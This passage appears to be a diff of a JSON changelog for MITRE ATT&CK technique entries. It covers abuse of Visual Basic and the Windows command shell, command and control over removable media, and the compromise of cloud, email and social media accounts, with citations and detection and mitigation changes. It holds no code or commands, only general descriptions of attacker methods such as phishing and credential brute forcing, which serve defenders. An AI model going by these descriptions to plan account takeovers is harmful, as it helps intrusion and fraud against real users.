+ "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0063: Cross-Platform Behavioral Detection of Python Execution" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-09 14:29:51.508000+00:00", + "modified": "2025-10-24 17:49:29.678000+00:00", + "name": "Visual Basic", + "description": "Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: Default VBS macros Blocking )", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1059/005", + "external_id": "T1059.005" + }, + { + "source_name": "VB .NET Mar 2020", + "description": ".NET Team. (2020, March 11). Visual Basic support planned for .NET 5.0. Retrieved June 23, 2020.", + "url": "https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/" + }, + { + "source_name": "Default VBS macros Blocking ", + "description": "Kellie Eickmeyer. (2022, February 7). Helping users stay safe: Blocking internet macros by default in Office. Retrieved February 7, 2022.", + "url": "https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805" + }, + { + "source_name": "Microsoft VBScript", + "description": "Microsoft. (2011, April 19). What Is VBScript?. Retrieved March 28, 2020.", + "url": "https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)" + }, + { + "source_name": "Microsoft VBA", + "description": "Microsoft. (2019, June 11). Office VBA Reference. Retrieved June 23, 2020.", + "url": "https://docs.microsoft.com/office/vba/api/overview/" + }, + { + "source_name": "VB Microsoft", + "description": "Microsoft. (n.d.). Visual Basic documentation. Retrieved June 23, 2020.", + "url": "https://docs.microsoft.com/dotnet/visual-basic/" + }, + { + "source_name": "Wikipedia VBA", + "description": "Wikipedia. (n.d.). Visual Basic for Applications. Retrieved August 13, 2020.", + "url": "https://en.wikipedia.org/wiki/Visual_Basic_for_Applications" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Command: Command Execution\", \"Process: Process Creation\", \"Script: Script Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:29.678000+00:00\", \"old_value\": \"2025-04-15 19:59:14.314000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source.\\n\\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source.\\n-\\n-Understanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1021: Restrict Web-Based Content", + "M1038: Execution Prevention", + "M1040: Behavior Prevention on Endpoint", + "M1042: Disable or Remove Feature or Program", + "M1049: Antivirus/Antimalware" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0012: Script (Script Execution)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0076: Behavioral Detection of Visual Basic Execution (VBS/VBA/VBScript)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-09 14:12:31.196000+00:00", + "modified": "2025-10-24 17:49:25.722000+00:00", + "name": "Windows Command Shell", + "description": "Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)\n\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1059/003", + "external_id": "T1059.003" + }, + { + "source_name": "SSH in Windows", + "description": "Microsoft. (2020, May 19). Tutorial: SSH in Windows Terminal. Retrieved July 26, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:25.722000+00:00\", \"old_value\": \"2025-04-15 19:59:10.209000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\\n\\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\\n-\\n-Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0202: Behavioral Detection of Windows Command Shell Execution" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:09.379000+00:00", + "modified": "2025-10-24 17:48:52.106000+00:00", + "name": "Communication Through Removable Media", + "description": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system.(Citation: ESET Sednit USBStealer 2014) Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091). Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1092", + "external_id": "T1092" + }, + { + "source_name": "ESET Sednit USBStealer 2014", + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Drive: Drive Creation\", \"Drive: Drive Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:52.106000+00:00\", \"old_value\": \"2025-04-15 22:06:39.028000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file access on removable media. Detect processes that execute when removable media is mounted.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1028: Operating System Configuration", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0016: Drive (Drive Access)", + "DS0016: Drive (Drive Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0090: Cross-host C2 via Removable Media Relay" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 01:17:15.965000+00:00", + "modified": "2025-10-24 17:49:02.015000+00:00", + "name": "Compromise Accounts", + "description": "Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1586", + "external_id": "T1586" + }, + { + "source_name": "AnonHBGary", + "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.", + "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/" + }, + { + "source_name": "Microsoft DEV-0537", + "description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.", + "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Persona: Social Media\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:02.015000+00:00\", \"old_value\": \"2025-04-15 22:07:30.871000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0021: Persona (Social Media)", + "DS0029: Network Traffic (Network Traffic Content)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0876: Detection of Compromise Accounts" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3d52e51e-f6db-4719-813c-48002a99f43a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-05-27 14:30:01.904000+00:00", + "modified": "2025-10-24 17:48:41.215000+00:00", + "name": "Cloud Accounts", + "description": "Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Additionally, cloud-based messaging services such as Twilio, SendGrid, AWS End User Messaging, AWS SNS (Simple Notification Service), or AWS SES (Simple Email Service) may be leveraged for spam or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)(Citation: Netcraft SendGrid 2024) Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)\n\nA variety of methods exist for compromising cloud accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003) attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: MSTIC Nobelium Oct 2021) Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1586/003", + "external_id": "T1586.003" + }, + { + "source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022", + "description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.", + "url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/" + }, + { + "source_name": "Awake Security C2 Cloud", + "description": "Gary Golomb and Tory Kei. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved May 27, 2022.", + "url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/" + }, + { + "source_name": "Netcraft SendGrid 2024", + "description": "Graham Edgecombe. (2024, February 7). Phishception \u2013 SendGrid is abused to host phishing attacks impersonating itself. Retrieved October 15, 2024.", + "url": "https://www.netcraft.com/blog/popular-email-platform-used-to-impersonate-itself/" + }, + { + "source_name": "MSTIC Nobelium Oct 2021", + "description": "Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022.", + "url": "https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Francesco Bigarella" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:41.215000+00:00\", \"old_value\": \"2025-04-15 22:01:54.640000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0879: Detection of Cloud Accounts" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 01:20:53.104000+00:00", + "modified": "2025-10-24 17:48:41.309000+00:00", + "name": "Email Accounts", + "description": "Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).\n\nA variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials.(Citation: AnonHBGary)(Citation: Microsoft DEV-0537) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or [Phishing](https://attack.mitre.org/techniques/T1566) emails may evade reputation-based email filtering rules.\n\nAdversaries can use a compromised email account to hijack existing email threads with targets of interest.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1586/002", + "external_id": "T1586.002" + }, + { + "source_name": "AnonHBGary", + "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.", + "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/" + }, + { + "source_name": "Microsoft DEV-0537", + "description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.", + "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Tristan Bennett, Seamless Intelligence", + "Bryan Onel" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:41.309000+00:00\", \"old_value\": \"2025-04-15 22:26:01.830000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0861: Detection of Email Accounts" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 01:18:35.535000+00:00", + "modified": "2025-10-24 17:48:32.696000+00:00", + "name": "Social Media Accounts", + "description": "Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1586/001", + "external_id": "T1586.001" + }, + { + "source_name": "AnonHBGary", + "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.", + "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/" + }, + { + "source_name": "NEWSCASTER2014", + "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.", + "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation" + }, + { + "source_name": "BlackHatRobinSage", + "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.", + "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Persona: Social Media\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:32.696000+00:00\", \"old_value\": \"2025-04-15 23:08:45.478000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via 